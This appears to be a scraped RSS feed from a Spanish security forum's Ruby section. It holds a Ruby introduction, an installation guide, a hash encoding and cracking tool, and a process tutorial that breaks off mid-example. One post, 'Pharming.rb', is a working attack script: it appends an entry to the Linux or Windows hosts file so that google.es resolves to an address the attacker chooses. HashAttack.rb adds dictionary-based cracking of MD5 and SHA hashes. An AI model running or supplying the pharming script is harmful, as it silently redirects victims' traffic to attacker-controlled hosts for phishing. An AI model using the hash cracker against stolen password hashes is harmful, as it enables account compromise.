Objetos, completamente. TODO, absolutamente TODO en Ruby es un Objeto, cuando creas una variable, est?s creando un objeto ( bueno, est?s haciendo referencia a un objeto), una cadena de texto: un objeto, en definitiva, todo son objetos. Esto nos hace que a dichos objetos les podamos pasar metodos, con todo lo que ello conlleva. Si ahora no se ve muy claro, no os preocupeis, ya veremos mas adelante la POO (Programaci?n Orientada a Objetos) las clases y los metodos.<br /><br />Que se puede hacer con Ruby? CASI de todo, cuando vayas dominando el lenguaje te ir?s dando cuenta que casi casi es capaz de resolver todos tus problemas, ya he comentado que no se puede comparar a lenguajes de m?s bajo nivel como C o ASM, pero nuestros prop?sitos los cumple con excelente ^^. Para aplicaciones de Escritorio no da ning?n problema, incluso crear aplicaciones gr?ficas es relativamente sencillo ( mas que en otros lenguajes ). Y para aplicaciones web: Ruby permite crear salidas HTML, o permite embutirse en HTML ( utilizar ruby dentro de HTML), y lo mejor de todo RoR (Ruby on Rails) es un framework basado en Ruby para crear aplicaciones web, que se est? imponiendo cada vez mas en la net gracias a que se basa en la filosofia de Ruby.<br /><br />Y bueno, creo que con esto ya tenemos una peque?a introducci?n al lenguaje ^^<br />Espero enganchar a algunos y que este lenguaje se conozca cada dia mas.<br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 08:47:37 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3104,3104#msg-3104</guid>
<title>Instalación ruby. Linux and Windows (2 replies)</title><link>https://foro.undersecurity.net/read.php?52,3104,3104#msg-3104</link><description><![CDATA[LINUX<br /><br /><br />Para poder ejecutar nuestros scripts de Ruby necesitamos un interprete, junto con el, instalaremos la documentacion de Ruby e irb, el interprete interactivo de ruby ( muy util ).<br /><br />Lo voy a explicar para Debian o OS basados en Debian, para los dem?s cada uno se sabr? sus comandos ^^:<br /><pre class="bbcode">sudo apt-get install ruby irb rdoc</pre>
(Instalamos el interprete ruby, irb y la documentaci?n)<br /><br />Para ejecutar cualquier script seria:<br /><pre class="bbcode">ruby script.rb &lt;ARGV&gt; #ARGV si los hay, claro est?...</pre><br />IRB: Irb es el interprete interactivo de ruby, podemos ir ejecutando codigo ruby a tiempo real, adem?s nos muestra siempre el 'estado' de los objetos ( recordemos que en ruby TODO son objetos)<br />Ejemplo:<br /><pre class="bbcode">protos:~$ irb
irb(main):001:0&gt; a=2
=&gt; 2
irb(main):002:0&gt; b=3
=&gt; 3
irb(main):003:0&gt; c=a+b
=&gt; 5
irb(main):004:0&gt; print c
5=&gt; nil
irb(main):005:0&gt;</pre><br />WINDOWS<br /><br /><br />Bueno, esto es realmente lo m?s sencillo que existe, pero por si acaso alguien no lo ha encontrado por ahi, pues creo este post.<br /><br />Para instalar el int?rprete de Ruby en Windows es tan sencillo como descargarse el .exe del instalador y hacer lo que te diga (xD).<br /><br />Enlace donde encontrar el .exe: http://rubyforge.org/frs/download.php/18566/ruby186-25.exe<br /><br /><br />salu2!]]></description>
<dc:creator>protos</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 15:22:55 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,3103,3103#msg-3103</guid>
<title>Pharming.rb (2 replies)</title><link>https://foro.undersecurity.net/read.php?52,3103,3103#msg-3103</link><description><![CDATA[<i><b>Pharming</b> es la explotación de una vulnerabilidad en el software de los servidores DNS (Domain Name System) o en el de los equipos de los propios usuarios, que permite a un atacante redirigir un nombre de dominio (domain name) a otra máquina distinta. De esta forma, un usuario que introduzca un determinado nombre de dominio que haya sido redirigido, accederá en su explorador de internet a la página web que el atacante haya especificado para ese nombre de dominio.</i><br /><br /><pre class="ruby bbcode_geshi"><div class="head">Language: Ruby</div># By Pr0x
# http://arrivalsec.wordpress.com
require 'ftools'
if RUBY_PLATFORM =~ /linux/
  os=&quot;linux&quot;
end
if RUBY_PLATFORM =~ /win/
  os=&quot;win&quot;
end
pharme=&quot;72.14.221.104&quot;,&quot;\s\s\s\s&quot;, &quot;google.es&quot;&quot;\n&quot; # Changeme!
case os
when 'linux'
host=File.open('/etc/hosts', 'a+')
host.print(pharme)
when 'win'
host=File.open('C:/Windows/System32/drivers/etc/hosts', 'a+')
host.print(pharme)
else
  print(&quot;Operating System unrecognized, buy one!&quot;)
end</pre>]]></description>
<dc:creator>Pr0x</dc:creator>
<category>Documentación Ruby</category><pubDate>Fri, 03 Jul 2009 13:59:49 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,1094,1094#msg-1094</guid>
<title>HashAttack.rb (no replies)</title><link>https://foro.undersecurity.net/read.php?52,1094,1094#msg-1094</link><description><![CDATA[Bueno, aquí les dejo una tool que hice hace tiempo. Sus funciones:<br /><br /><blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>
[-1] - Caesar encode.<br />[-2] - Caesar brute-force.<br />[-3] - Base64 encode.<br />[-4] - Base64 decode.<br />[-5] - Md5 encode.<br />[-6] - Md5 decode.<br />/home/user/diccionario.txt<br />[-7] - Sha1 encode.<br />[-8] - Sha1 decode.<br />/home/user/diccionario.txt<br />[-9] - Sha2 encode.<br />[-10] - Sha2 decode.<br />/home/user/diccionario.txt<br />[--help] - Show HashAttack options.<br />Examples:<br />HashAttack.rb -3 password<br />HashAttack.rb -6 password /home/user/diccionario.txt<br />HashAttack.rb --help</div></blockquote><br /><pre class="bbcode">
#!usr/bin/ruby
#Hash_Attack 1.0
#Coder =&gt; SH4V
#n3t-datagrams.net
require 'base64'
require 'digest/md5'
require 'digest/sha1'
require 'digest/sha2'

hlp= &quot;Please chose an option and write de passphrase:

	[-1]        - Caesar encode.
	[-2]        - Caesar brute-force.
	[-3]        - Base64 encode.
	[-4]        - Base64 decode.
	[-5]        - Md5 encode.
	[-6]        - Md5 decode.
		/home/user/diccionario.txt
	[-7]        - Sha1 encode.
	[-8]        - Sha1 decode.
		/home/user/diccionario.txt
	[-9]        - Sha2 encode.
	[-10]       - Sha2 decode.
		/home/user/diccionario.txt
	[--help]    - Show HashAttack options.
Examples:
HashAttack.rb -3 password
HashAttack.rb -6 password /home/user/diccionario.txt
HashAttack.rb --help&quot;

opt=ARGV[0]
fra=ARGV[1]
rut=ARGV[2]
if !ARGV[0]
puts hlp
else
inc=File.open('diccionario.txt', &quot;a+&quot;)
inc.write(&quot;\n#{fra}&quot;)
inc.close
var1=fra
	table1= Array.new
	table2= Array.new
	table3= Array.new
	table4= Array.new
	table5= Array.new
	table6= Array.new
	table7= Array.new
	table8= Array.new
	table9= Array.new
	table10= Array.new
	table11= Array.new
	table12= Array.new
	table13= Array.new
	table14= Array.new
	table15= Array.new
	table16= Array.new
	table17= Array.new
	table18= Array.new
	table19= Array.new
	table20= Array.new
	table21= Array.new
	table22= Array.new
	table23= Array.new
	table24= Array.new
	table25= Array.new
	table26= Array.new
case opt
	when &quot;-1&quot;
	ale=(&quot;1&quot;..&quot;25&quot;).to_a
	ale=ale.sort_by{rand}[0]
		
	var1=var1.gsub(/[z]/, &quot;`&quot;)
	var1=var1.split(&quot;&quot;)
	var1.each{|x| table1&lt;&lt;x.succ}
	
	table1=table1.to_s
	table1=table1.gsub(/[!]/, &quot; &quot;)
	table1=table1.gsub(/[z]/, &quot;`&quot;)
	table1=table1.split(&quot;&quot;)
	table1.each{|x| table2&lt;&lt;x.succ}
	table1=table1.to_s
	table1=table1.gsub(/[`]/, &quot;z&quot;)
	
	table2=table2.to_s
	table2=table2.gsub(/[!]/, &quot; &quot;)
	table2=table2.gsub(/[z]/, &quot;`&quot;)
	table2=table2.split(&quot;&quot;)
	table2.each{|x| table3&lt;&lt;x.succ}
	table2=table2.to_s
	table2=table2.gsub(/[`]/, &quot;z&quot;)
	
	table3=table3.to_s
	table3=table3.gsub(/[!]/, &quot; &quot;)
	table3=table3.gsub(/[z]/, &quot;`&quot;)
	table3=table3.split(&quot;&quot;)
	table3.each{|x| table4&lt;&lt;x.succ}
	table3=table3.to_s
	table3=table3.gsub(/[`]/, &quot;z&quot;)
	
	table4=table4.to_s
	table4=table4.gsub(/[!]/, &quot; &quot;)
	table4=table4.gsub(/[z]/, &quot;`&quot;)
	table4=table4.split(&quot;&quot;)
	table4.each{|x| table5&lt;&lt;x.succ}
	table4=table4.to_s
	table4=table4.gsub(/[`]/, &quot;z&quot;)
	
	table5=table5.to_s
	table5=table5.gsub(/[!]/, &quot; &quot;)
	table5=table5.gsub(/[z]/, &quot;`&quot;)
	table5=table5.split(&quot;&quot;)
	table5.each{|x| table6&lt;&lt;x.succ}
	table5=table5.to_s
	table5=table5.gsub(/[`]/, &quot;z&quot;)
	
	table6=table6.to_s
	table6=table6.gsub(/[!]/, &quot; &quot;)
	table6=table6.gsub(/[z]/, &quot;`&quot;)
	table6=table6.split(&quot;&quot;)
	table6.each{|x| table7&lt;&lt;x.succ}
	table6=table6.to_s
	table6=table6.gsub(/[`]/, &quot;z&quot;)
	
	table7=table7.to_s
	table7=table7.gsub(/[!]/, &quot; &quot;)
	table7=table7.gsub(/[z]/, &quot;`&quot;)
	table7=table7.split(&quot;&quot;)
	table7.each{|x| table8&lt;&lt;x.succ}
	table7=table7.to_s
	table7=table7.gsub(/[`]/, &quot;z&quot;)
	
	table8=table8.to_s
	table8=table8.gsub(/[!]/, &quot; &quot;)
	table8=table8.gsub(/[z]/, &quot;`&quot;)
	table8=table8.split(&quot;&quot;)
	table8.each{|x| table9&lt;&lt;x.succ}
	table8=table8.to_s
	table8=table8.gsub(/[`]/, &quot;z&quot;)
	
	table9=table9.to_s
	table9=table9.gsub(/[!]/, &quot; &quot;)
	table9=table9.gsub(/[z]/, &quot;`&quot;)
	table9=table9.split(&quot;&quot;)
	table9.each{|x| table10&lt;&lt;x.succ}
	table9=table9.to_s
	table9=table9.gsub(/[`]/, &quot;z&quot;)
	
	table10=table10.to_s
	table10=table10.gsub(/[!]/, &quot; &quot;)
	table10=table10.gsub(/[z]/, &quot;`&quot;)
	table10=table10.split(&quot;&quot;)
	table10.each{|x| table11&lt;&lt;x.succ}
	table10=table10.to_s
	table10=table10.gsub(/[`]/, &quot;z&quot;)
	
	table11=table11.to_s
	table11=table11.gsub(/[!]/, &quot; &quot;)
	table11=table11.gsub(/[z]/, &quot;`&quot;)
	table11=table11.split(&quot;&quot;)
	table11.each{|x| table12&lt;&lt;x.succ}
	table11=table11.to_s
	table11=table11.gsub(/[`]/, &quot;z&quot;)

	table12=table12.to_s
	table12=table12.gsub(/[!]/, &quot; &quot;)
	table12=table12.gsub(/[z]/, &quot;`&quot;)
	table12=table12.split(&quot;&quot;)
	table12.each{|x| table13&lt;&lt;x.succ}
	table12=table12.to_s
	table12=table12.gsub(/[`]/, &quot;z&quot;)

	table13=table13.to_s
	table13=table13.gsub(/[!]/, &quot; &quot;)
	table13=table13.gsub(/[z]/, &quot;`&quot;)
	table13=table13.split(&quot;&quot;)
	table13.each{|x| table14&lt;&lt;x.succ}
	table13=table13.to_s
	table13=table13.gsub(/[`]/, &quot;z&quot;)

	table14=table14.to_s
	table14=table14.gsub(/[!]/, &quot; &quot;)
	table14=table14.gsub(/[z]/, &quot;`&quot;)
	table14=table14.split(&quot;&quot;)
	table14.each{|x| table15&lt;&lt;x.succ}
	table14=table14.to_s
	table14=table14.gsub(/[`]/, &quot;z&quot;)

	table15=table15.to_s
	table15=table15.gsub(/[!]/, &quot; &quot;)
	table15=table15.gsub(/[z]/, &quot;`&quot;)
	table15=table15.split(&quot;&quot;)
	table15.each{|x| table16&lt;&lt;x.succ}
	table15=table15.to_s
	table15=table15.gsub(/[`]/, &quot;z&quot;)

	table16=table16.to_s
	table16=table16.gsub(/[!]/, &quot; &quot;)
	table16=table16.gsub(/[z]/, &quot;`&quot;)
	table16=table16.split(&quot;&quot;)
	table16.each{|x| table17&lt;&lt;x.succ}
	table16=table16.to_s
	table16=table16.gsub(/[`]/, &quot;z&quot;)

	table17=table17.to_s
	table17=table17.gsub(/[!]/, &quot; &quot;)
	table17=table17.gsub(/[z]/, &quot;`&quot;)
	table17=table17.split(&quot;&quot;)
	table17.each{|x| table18&lt;&lt;x.succ}
	table17=table17.to_s
	table17=table17.gsub(/[`]/, &quot;z&quot;)

	table18=table18.to_s
	table18=table18.gsub(/[!]/, &quot; &quot;)
	table18=table18.gsub(/[z]/, &quot;`&quot;)
	table18=table18.split(&quot;&quot;)
	table18.each{|x| table19&lt;&lt;x.succ}
	table18=table18.to_s
	table18=table18.gsub(/[`]/, &quot;z&quot;)

	table19=table19.to_s
	table19=table19.gsub(/[!]/, &quot; &quot;)
	table19=table19.gsub(/[z]/, &quot;`&quot;)
	table19=table19.split(&quot;&quot;)
	table19.each{|x| table20&lt;&lt;x.succ}
	table19=table19.to_s
	table19=table19.gsub(/[`]/, &quot;z&quot;)

	table20=table20.to_s
	table20=table20.gsub(/[!]/, &quot; &quot;)
	table20=table20.gsub(/[z]/, &quot;`&quot;)
	table20=table20.split(&quot;&quot;)
	table20.each{|x| table21&lt;&lt;x.succ}
	table20=table20.to_s
	table20=table20.gsub(/[`]/, &quot;z&quot;)

	table21=table21.to_s
	table21=table21.gsub(/[!]/, &quot; &quot;)
	table21=table21.gsub(/[z]/, &quot;`&quot;)
	table21=table21.split(&quot;&quot;)
	table21.each{|x| table22&lt;&lt;x.succ}
	table21=table21.to_s
	table21=table21.gsub(/[`]/, &quot;z&quot;)

	table22=table22.to_s
	table22=table22.gsub(/[!]/, &quot; &quot;)
	table22=table22.gsub(/[z]/, &quot;`&quot;)
	table22=table22.split(&quot;&quot;)
	table22.each{|x| table23&lt;&lt;x.succ}
	table22=table22.to_s
	table22=table22.gsub(/[`]/, &quot;z&quot;)

	table23=table23.to_s
	table23=table23.gsub(/[!]/, &quot; &quot;)
	table23=table23.gsub(/[z]/, &quot;`&quot;)
	table23=table23.split(&quot;&quot;)
	table23.each{|x| table24&lt;&lt;x.succ}
	table23=table23.to_s
	table23=table23.gsub(/[`]/, &quot;z&quot;)

	table24=table24.to_s
	table24=table24.gsub(/[!]/, &quot; &quot;)
	table24=table24.gsub(/[z]/, &quot;`&quot;)
	table24=table24.split(&quot;&quot;)
	table24.each{|x| table25&lt;&lt;x.succ}
	table24=table24.to_s
	table24=table24.gsub(/[`]/, &quot;z&quot;)

	table25=table25.to_s
	table25=table25.gsub(/[!]/, &quot; &quot;)
	table25=table25.gsub(/[z]/, &quot;`&quot;)
	table25=table25.split(&quot;&quot;)
	table25.each{|x| table26&lt;&lt;x.succ}
	table25=table25.to_s
	table25=table25.gsub(/[`]/, &quot;z&quot;)
	
	table26=table26.to_s
	table26=table26.gsub(/[!]/, &quot; &quot;)
	table26=table26.gsub(/[z]/, &quot;`&quot;)
	table26=table26.split(&quot;&quot;)
	table26=table26.to_s
	table26=table26.gsub(/[`]/, &quot;z&quot;)

	case ale
		when &quot;1&quot;
		puts table1
		when &quot;2&quot;
		puts table1
		when &quot;3&quot;
		puts table1
		when &quot;4&quot;
		puts table1
		when &quot;5&quot;
		puts table1
		when &quot;6&quot;
		puts table1
		when &quot;7&quot;
		puts table1
		when &quot;8&quot;
		puts table1
		when &quot;9&quot;
		puts table1
		when &quot;10&quot;
		puts table1
		when &quot;11&quot;
		puts table1
		when &quot;12&quot;
		puts table1
		when &quot;13&quot;
		puts table1
		when &quot;14&quot;
		puts table1
		when &quot;15&quot;
		puts table1
		when &quot;16&quot;
		puts table1
		when &quot;17&quot;
		puts table1
		when &quot;18&quot;
		puts table1
		when &quot;19&quot;
		puts table1
		when &quot;20&quot;
		puts table1
		when &quot;21&quot;
		puts table1
		when &quot;22&quot;
		puts table1
		when &quot;23&quot;
		puts table1
		when &quot;24&quot;
		puts table1
		when &quot;25&quot;
		puts table1
	end
	
	when &quot;-2&quot;
	
	var1=var1.gsub(/[z]/, &quot;`&quot;)
	var1=var1.split(&quot;&quot;)
	var1.each{|x| table1&lt;&lt;x.succ}
	
	table1=table1.to_s
	table1=table1.gsub(/[!]/, &quot; &quot;)
	table1=table1.gsub(/[z]/, &quot;`&quot;)
	table1=table1.split(&quot;&quot;)
	table1.each{|x| table2&lt;&lt;x.succ}
	table1=table1.to_s
	table1=table1.gsub(/[`]/, &quot;z&quot;)
	
	table2=table2.to_s
	table2=table2.gsub(/[!]/, &quot; &quot;)
	table2=table2.gsub(/[z]/, &quot;`&quot;)
	table2=table2.split(&quot;&quot;)
	table2.each{|x| table3&lt;&lt;x.succ}
	table2=table2.to_s
	table2=table2.gsub(/[`]/, &quot;z&quot;)
	
	table3=table3.to_s
	table3=table3.gsub(/[!]/, &quot; &quot;)
	table3=table3.gsub(/[z]/, &quot;`&quot;)
	table3=table3.split(&quot;&quot;)
	table3.each{|x| table4&lt;&lt;x.succ}
	table3=table3.to_s
	table3=table3.gsub(/[`]/, &quot;z&quot;)
	
	table4=table4.to_s
	table4=table4.gsub(/[!]/, &quot; &quot;)
	table4=table4.gsub(/[z]/, &quot;`&quot;)
	table4=table4.split(&quot;&quot;)
	table4.each{|x| table5&lt;&lt;x.succ}
	table4=table4.to_s
	table4=table4.gsub(/[`]/, &quot;z&quot;)
	
	table5=table5.to_s
	table5=table5.gsub(/[!]/, &quot; &quot;)
	table5=table5.gsub(/[z]/, &quot;`&quot;)
	table5=table5.split(&quot;&quot;)
	table5.each{|x| table6&lt;&lt;x.succ}
	table5=table5.to_s
	table5=table5.gsub(/[`]/, &quot;z&quot;)
	
	table6=table6.to_s
	table6=table6.gsub(/[!]/, &quot; &quot;)
	table6=table6.gsub(/[z]/, &quot;`&quot;)
	table6=table6.split(&quot;&quot;)
	table6.each{|x| table7&lt;&lt;x.succ}
	table6=table6.to_s
	table6=table6.gsub(/[`]/, &quot;z&quot;)
	
	table7=table7.to_s
	table7=table7.gsub(/[!]/, &quot; &quot;)
	table7=table7.gsub(/[z]/, &quot;`&quot;)
	table7=table7.split(&quot;&quot;)
	table7.each{|x| table8&lt;&lt;x.succ}
	table7=table7.to_s
	table7=table7.gsub(/[`]/, &quot;z&quot;)
	
	table8=table8.to_s
	table8=table8.gsub(/[!]/, &quot; &quot;)
	table8=table8.gsub(/[z]/, &quot;`&quot;)
	table8=table8.split(&quot;&quot;)
	table8.each{|x| table9&lt;&lt;x.succ}
	table8=table8.to_s
	table8=table8.gsub(/[`]/, &quot;z&quot;)
	
	table9=table9.to_s
	table9=table9.gsub(/[!]/, &quot; &quot;)
	table9=table9.gsub(/[z]/, &quot;`&quot;)
	table9=table9.split(&quot;&quot;)
	table9.each{|x| table10&lt;&lt;x.succ}
	table9=table9.to_s
	table9=table9.gsub(/[`]/, &quot;z&quot;)
	
	table10=table10.to_s
	table10=table10.gsub(/[!]/, &quot; &quot;)
	table10=table10.gsub(/[z]/, &quot;`&quot;)
	table10=table10.split(&quot;&quot;)
	table10.each{|x| table11&lt;&lt;x.succ}
	table10=table10.to_s
	table10=table10.gsub(/[`]/, &quot;z&quot;)
	
	table11=table11.to_s
	table11=table11.gsub(/[!]/, &quot; &quot;)
	table11=table11.gsub(/[z]/, &quot;`&quot;)
	table11=table11.split(&quot;&quot;)
	table11.each{|x| table12&lt;&lt;x.succ}
	table11=table11.to_s
	table11=table11.gsub(/[`]/, &quot;z&quot;)

	table12=table12.to_s
	table12=table12.gsub(/[!]/, &quot; &quot;)
	table12=table12.gsub(/[z]/, &quot;`&quot;)
	table12=table12.split(&quot;&quot;)
	table12.each{|x| table13&lt;&lt;x.succ}
	table12=table12.to_s
	table12=table12.gsub(/[`]/, &quot;z&quot;)

	table13=table13.to_s
	table13=table13.gsub(/[!]/, &quot; &quot;)
	table13=table13.gsub(/[z]/, &quot;`&quot;)
	table13=table13.split(&quot;&quot;)
	table13.each{|x| table14&lt;&lt;x.succ}
	table13=table13.to_s
	table13=table13.gsub(/[`]/, &quot;z&quot;)

	table14=table14.to_s
	table14=table14.gsub(/[!]/, &quot; &quot;)
	table14=table14.gsub(/[z]/, &quot;`&quot;)
	table14=table14.split(&quot;&quot;)
	table14.each{|x| table15&lt;&lt;x.succ}
	table14=table14.to_s
	table14=table14.gsub(/[`]/, &quot;z&quot;)

	table15=table15.to_s
	table15=table15.gsub(/[!]/, &quot; &quot;)
	table15=table15.gsub(/[z]/, &quot;`&quot;)
	table15=table15.split(&quot;&quot;)
	table15.each{|x| table16&lt;&lt;x.succ}
	table15=table15.to_s
	table15=table15.gsub(/[`]/, &quot;z&quot;)

	table16=table16.to_s
	table16=table16.gsub(/[!]/, &quot; &quot;)
	table16=table16.gsub(/[z]/, &quot;`&quot;)
	table16=table16.split(&quot;&quot;)
	table16.each{|x| table17&lt;&lt;x.succ}
	table16=table16.to_s
	table16=table16.gsub(/[`]/, &quot;z&quot;)

	table17=table17.to_s
	table17=table17.gsub(/[!]/, &quot; &quot;)
	table17=table17.gsub(/[z]/, &quot;`&quot;)
	table17=table17.split(&quot;&quot;)
	table17.each{|x| table18&lt;&lt;x.succ}
	table17=table17.to_s
	table17=table17.gsub(/[`]/, &quot;z&quot;)

	table18=table18.to_s
	table18=table18.gsub(/[!]/, &quot; &quot;)
	table18=table18.gsub(/[z]/, &quot;`&quot;)
	table18=table18.split(&quot;&quot;)
	table18.each{|x| table19&lt;&lt;x.succ}
	table18=table18.to_s
	table18=table18.gsub(/[`]/, &quot;z&quot;)

	table19=table19.to_s
	table19=table19.gsub(/[!]/, &quot; &quot;)
	table19=table19.gsub(/[z]/, &quot;`&quot;)
	table19=table19.split(&quot;&quot;)
	table19.each{|x| table20&lt;&lt;x.succ}
	table19=table19.to_s
	table19=table19.gsub(/[`]/, &quot;z&quot;)

	table20=table20.to_s
	table20=table20.gsub(/[!]/, &quot; &quot;)
	table20=table20.gsub(/[z]/, &quot;`&quot;)
	table20=table20.split(&quot;&quot;)
	table20.each{|x| table21&lt;&lt;x.succ}
	table20=table20.to_s
	table20=table20.gsub(/[`]/, &quot;z&quot;)

	table21=table21.to_s
	table21=table21.gsub(/[!]/, &quot; &quot;)
	table21=table21.gsub(/[z]/, &quot;`&quot;)
	table21=table21.split(&quot;&quot;)
	table21.each{|x| table22&lt;&lt;x.succ}
	table21=table21.to_s
	table21=table21.gsub(/[`]/, &quot;z&quot;)

	table22=table22.to_s
	table22=table22.gsub(/[!]/, &quot; &quot;)
	table22=table22.gsub(/[z]/, &quot;`&quot;)
	table22=table22.split(&quot;&quot;)
	table22.each{|x| table23&lt;&lt;x.succ}
	table22=table22.to_s
	table22=table22.gsub(/[`]/, &quot;z&quot;)

	table23=table23.to_s
	table23=table23.gsub(/[!]/, &quot; &quot;)
	table23=table23.gsub(/[z]/, &quot;`&quot;)
	table23=table23.split(&quot;&quot;)
	table23.each{|x| table24&lt;&lt;x.succ}
	table23=table23.to_s
	table23=table23.gsub(/[`]/, &quot;z&quot;)

	table24=table24.to_s
	table24=table24.gsub(/[!]/, &quot; &quot;)
	table24=table24.gsub(/[z]/, &quot;`&quot;)
	table24=table24.split(&quot;&quot;)
	table24.each{|x| table25&lt;&lt;x.succ}
	table24=table24.to_s
	table24=table24.gsub(/[`]/, &quot;z&quot;)

	table25=table25.to_s
	table25=table25.gsub(/[!]/, &quot; &quot;)
	table25=table25.gsub(/[z]/, &quot;`&quot;)
	table25=table25.split(&quot;&quot;)
	table25.each{|x| table26&lt;&lt;x.succ}
	table25=table25.to_s
	table25=table25.gsub(/[`]/, &quot;z&quot;)
	
	table26=table26.to_s
	table26=table26.gsub(/[!]/, &quot; &quot;)
	table26=table26.gsub(/[z]/, &quot;`&quot;)
	table26=table26.split(&quot;&quot;)
	table26=table26.to_s
	table26=table26.gsub(/[`]/, &quot;z&quot;)

	puts &quot;TABLA 1:&quot;, table1
	puts &quot;TABLA 2:&quot;, table2
	puts &quot;TABLA 3:&quot;, table3
	puts &quot;TABLA 4:&quot;, table4
	puts &quot;TABLA 5:&quot;, table5
	puts &quot;TABLA 6:&quot;, table6
	puts &quot;TABLA 7:&quot;, table7
	puts &quot;TABLA 8:&quot;, table8
	puts &quot;TABLA 9:&quot;, table9
	puts &quot;TABLA 10:&quot;, table10
	puts &quot;TABLA 11:&quot;, table11
	puts &quot;TABLA 12:&quot;, table12
	puts &quot;TABLA 13:&quot;, table13
	puts &quot;TABLA 14:&quot;, table14
	puts &quot;TABLA 15:&quot;, table15
	puts &quot;TABLA 16:&quot;, table16
	puts &quot;TABLA 17:&quot;, table17
	puts &quot;TABLA 18:&quot;, table18
	puts &quot;TABLA 19:&quot;, table19
	puts &quot;TABLA 20:&quot;, table20
	puts &quot;TABLA 21:&quot;, table21
	puts &quot;TABLA 22:&quot;, table22
	puts &quot;TABLA 23:&quot;, table23
	puts &quot;TABLA 24:&quot;, table24
	puts &quot;TABLA 25:&quot;, table25
	puts &quot;TABLA 26:&quot;, table26
	
	when &quot;-3&quot;
	bae= Base64.encode64(var1)
	puts bae
	
	when &quot;-4&quot;
	bad= Base64.decode64(var1)
	puts bad
	
	when &quot;-5&quot;
	mde= Digest::MD5.hexdigest(var1)
	puts mde
	
	when &quot;-6&quot;
	f=File.open(rut)
	dic=[]
	dic1=f.readlines
	dic1.each{|x| dic&lt;&lt;x.chomp}
	cni=0
	sol=String.new
	until var1==sol
	sol=Digest::MD5.hexdigest(dic[cni])
	cni+=1
end
cni-=1
puts dic[cni]

	when &quot;-7&quot;
	sh1=Digest::SHA1.hexdigest(var1)
	puts sh1
	
	when &quot;-8&quot;
	f=File.open(rut)
	dic=[]
	dic1=f.readlines
	dic1.each{|x| dic&lt;&lt;x.chomp}
	cni=0
	sol=String.new
	until var1==sol
	sol=Digest::SHA1.hexdigest(dic[cni])
	cni+=1
end
cni-=1
puts dic[cni]

	when &quot;-9&quot;
	sh2=Digest::SHA2.hexdigest(var1)
	puts sh2
	
	when &quot;-10&quot;
	f=File.open(rut)
	dic=[]
	dic1=f.readlines
	dic1.each{|x| dic&lt;&lt;x.chomp}
	cni=0
	sol=String.new
	until var1==sol
	sol=Digest::SHA2.hexdigest(dic[cni])
	cni+=1
end
cni-=1
puts dic[cni]
	
	when &quot;--help&quot;
	puts hlp
end
end
</pre>]]></description>
<dc:creator>SH4V</dc:creator>
<category>Documentación Ruby</category><pubDate>Wed, 11 Mar 2009 22:07:49 -0400</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?52,1092,1092#msg-1092</guid>
<title>Procesos en Ruby (no replies)</title><link>https://foro.undersecurity.net/read.php?52,1092,1092#msg-1092</link><description><![CDATA[Hemos visto ya como crear hilos de nuestros propios procesos en Ruby. Sin embargo, ¿Cómo haríamos para crear un proceso ajeno a nuestro script? Ruby implementa una serie de clases y métodos que pueden ser utilizados para gestionar dichos procesos. Veamos pues como hacer esto:<br /><br /><u><b>CREAR PROCESOS:</b></u><br /><br />En Ruby para invocar un proceso, podemos utilizar system. System, lo que haría sería llamar a la consola del sistema operativo en el que te encuentres y ejecutar los comandos que tú le quieras pasar. Si el comando se ha encontrado y ha sido ejecutado se mostrará <b>true</b>, en caso contrario, <b>false</b>. Para probar esto, abrid el interprete interactivo de Ruby poniendo &quot;irb&quot; en vuestra consola de comandos y jugad:<br /><br /><pre class="bbcode">irb(main):001:0&gt; system('ls') #pasamos el comando ls para ver los directorios y archivos del directorio en el que nos encontramos.
Biblioteca		   Programación		    Universidad
hilos.rb		   Ruby			    vN0tdoser.rb
md5.pl			   ruby-pcap-0.6.tar.gz     Windows_uE_SP3_2008.1_Bj-Guanaco
nautilus-computer.desktop  rubyscript2exe-0.5.3.rb
pcap			   so.rb
=&gt; true #Nos devuelve &quot;true&quot;.
irb(main):002:0&gt; system('cd &quot;Universidad&quot;')
=&gt; true
irb(main):003:0&gt; system('ruby hilos.rb') # Nos ejecuta el código en Ruby.
21 abierto en www.code-makers.es
21 abierto en www.google.com
21 abierto en www.youtube.com
80 abierto en www.code-makers.es
80 abierto en www.google.com
80 abierto en www.youtube.com
81 abierto en www.code-makers.es
81 abierto en www.google.com
81 abierto en www.youtube.com
=&gt; true
irb(main):004:0&gt; system('pedrolo') # Intentamos pasar el método &quot;pedrolo&quot;.
=&gt; false #Nos devuelva false, ya que no existe dicho método.</pre><br /><u><b>JUGAR CON LOS PROCESOS:</b></u><br /><br />Esto está bien para casos sencillos, en los que no se requiera mucha interacción con el proceso. Cabe decir además que el inconveniente de usar system, es que la salida de tu comando va al mismo lugar que la salida de tu programa (es decir, que al poner por ejemplo: system('ls'), lo que vamos a obtener va a ser &quot;true&quot; y no el conjunto de archivos y carpetas existentes en el directorio. Además, muchas veces necesitamos tener más control sobre estos procesos y obtener y enviar datos con el proceso, es decir, que haya un intercambio. Para esto tenemos el método IO.popen. El método IO.popen ejecuta un comando como un subproceso y conecta las salida y entrada estándar al objeto Ruby IO. Si quisiesemos leer la salida del programa podríamos hacerlo mediante la lectura del objeto IO. Vamos a ver un ejemplo, para ello, os animo a que ejecutéis vuestra consola interactiva por medio del comando &quot;irb&quot;:<br /><br /><pre class="bbcode">irb(main):001:0&gt; a=IO.popen('ls')
=&gt; #&lt;IO:0xb7c22c2c&gt;
irb(main):002:0&gt; a=a.read
=&gt; &quot;a.sh\nBiblioteca\nfirefox-3.0.3.tar.bz2\nhilos.rb\nmariposa.jpg\nmd5.pl\nMetamorfosis.odt\nMetamorfosis.rb\nnautilus-computer.desktop\nPantallazo.png\npcap\nPreMetamorfosis.odp\nprocesos.txt\nProgramaci\303\263n\nrana.jpg\nRespuestas.txt\nRuby\nruby-pcap-0.6.tar.gz\nrubyscript2exe-0.5.3.rb\nsniffer.rb\nSoluciones.rb\nso.rb\nUniversidad\nvN0tdoser.rb\nWindows_uE_SP3_2008.1_Bj-Guanaco\n&quot;
irb(main):003:0&gt; a=a.gsub(&quot;\n&quot;,&quot;   &quot;)
